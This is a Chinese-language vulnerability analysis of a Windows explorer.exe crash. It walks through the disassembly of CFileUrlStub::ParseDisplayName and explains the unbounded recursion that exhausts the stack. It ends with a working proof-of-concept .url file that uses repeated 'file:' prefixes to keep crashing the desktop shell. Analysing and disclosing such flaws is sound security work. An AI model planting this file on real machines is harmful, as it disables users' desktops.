【IT专家网独家】1.描述
Windows的Shell程序explorer.exe在处理包含畸形数据的“.url”文件时存在问题,本地攻击者可能利用此漏洞导致用户机器上的explorer.exe进程崩溃。
如果explorer.exe解析了包含有特别格式URL的*.url文件的话,就会导致崩溃。即使通过资源管理器试图删除这个文件时也会触发崩溃。
目前厂商还没有提供补丁或者升级程序,到目前为止该漏洞依然有效。

汇编代码中际出错的地址:
| 7D5CE6B9 push ecx 7D5CE6BA lea ecx, dword ptr [esp+8] 7D5CE6BE sub ecx, 1000 7D5CE6C4 sub eax, 1000 7D5CE6C9 test dword ptr [ecx], eax 异常地址 7D5CE6CB cmp eax, 1000 7D5CE6D0 jnb short 7D5CE6BE 7D5CE6D2 sub ecx, eax 7D5CE6D4 mov eax, esp 7D5CE6D6 test dword ptr [ecx], eax 7D5CE6D8 mov esp, ecx 7D5CE6DA mov ecx, dword ptr [eax] 7D5CE6DC mov eax, dword ptr [eax+4] 7D5CE6DF push eax 7D5CE6E0 retn |
2.详细分析
在IDA的反汇编中可知:
| public: virtual long __stdcall CFileUrlStub::ParseDisplayName(struct HWND__ *, struct IBindCtx *, unsigned short *, unsigned long *, struct _ITEMIDLIST * *, unsigned long *) proc near .text:7D6A112C ; DATA XREF: .text:7D5A327Co .text:7D6A112C .text:7D6A112C var_20A0 = dword ptr -20A0h .text:7D6A112C var_209C = dword ptr -209Ch .text:7D6A112C var_2098 = dword ptr -2098h .text:7D6A112C Srch = word ptr -2094h .text:7D6A112C var_104C = dword ptr -104Ch .text:7D6A112C var_4 = dword ptr -4 .text:7D6A112C arg_C = dword ptr 14h .text:7D6A112C arg_14 = dword ptr 1Ch .text:7D6A112C arg_18 = dword ptr 20h .text:7D6A112C .text:7D6A112C mov edi, edi .text:7D6A112E push ebp .text:7D6A112F mov ebp, esp .text:7D6A1131 mov eax, 20A0h 局部堆栈长度 .text:7D6A1136 call __chkstk 出错函数地址 .text:7D6A1136 .text:7D6A113B mov eax, ___security_cookie .text:7D6A1140 push ebx .text:7D6A1141 mov ebx, [ebp+arg_18] .text:7D6A1144 push esi .text:7D6A1145 mov esi, [ebp+arg_14] .text:7D6A1148 push edi .text:7D6A1149 mov edi, [ebp+arg_C] .text:7D6A114C push edi .text:7D6A114D mov [ebp+var_4], eax .text:7D6A1150 call ds:UrlGetLocationW(x) .text:7D6A1156 push 0 .text:7D6A1158 mov [ebp+var_2098], eax .text:7D6A115E push 6 .text:7D6A1160 lea eax, [ebp+var_209C] .text:7D6A1166 push eax .text:7D6A1167 lea eax, [ebp+var_104C+2] .text:7D6A116D push eax .text:7D6A116E push edi .text:7D6A116F mov [ebp+var_20A0], 824h .text:7D6A1179 mov [ebp+var_209C], 823h .text:7D6A1183 call ds:UrlGetPartW(x,x,x,x,x) .text:7D6A1189 test eax, eax .text:7D6A118B jl short loc_7D6A11A1 .text:7D6A118B .text:7D6A118D cmp [ebp+var_209C], 0 .text:7D6A1194 jz short loc_7D6A11A1 .text:7D6A1194 .text:7D6A1196 mov word ptr [ebp+var_104C], 3Fh .text:7D6A119F jmp short loc_7D6A11A9 .text:7D6A119F .text:7D6A11A1 ; --------------------------------------------------------------------------- .text:7D6A11A1 .text:7D6A11A1 loc_7D6A11A1: ; CODE XREF: CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+5Fj .text:7D6A11A1 ; CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+68j .text:7D6A11A1 and word ptr [ebp+var_104C], 0 .text:7D6A11A1 .text:7D6A11A9 .text:7D6A11A9 loc_7D6A11A9: ; CODE XREF: CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+73j .text:7D6A11A9 push 0 .text:7D6A11AB lea eax, [ebp+var_20A0] .text:7D6A11B1 push eax .text:7D6A11B2 lea eax, [ebp+Srch] .text:7D6A11B8 push eax .text:7D6A11B9 push edi .text:7D6A11BA call ds:PathCreateFromUrlW(x,x,x,x) 该函数递归 .text:7D6A11C0 test eax, eax .text:7D6A11C2 jl short loc_7D6A121B .text:7D6A11C2 .text:7D6A11C4 push ebx ; int .text:7D6A11C5 push esi ; int .text:7D6A11C6 xor edi, edi .text:7D6A11C8 push edi ; char .text:7D6A11C9 push edi ; int .text:7D6A11CA lea eax, [ebp+Srch] .text:7D6A11D0 push eax ; lpSrch .text:7D6A11D1 call ILCreateFromPathEx(x,x,x,x,x) |
总结:
由于对参数检查不严格,造成这段函数不停地递规调用自已,每次都用堆栈0x20A0。由于windows线程的堆栈不是无限增大的,超过他的最大范围就出错了。当进行第28次调用以后,达到了windows堆栈所能允许的最大值,explorer程序异常退出。
3.利用代码
| [InternetShortcut] url=file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file: |
把以上文字保成成URL为后缀的文件,可以造成桌面程序(Expolore.exe)一直出错。
IT专家网原创文章,未经许可,严禁转载!

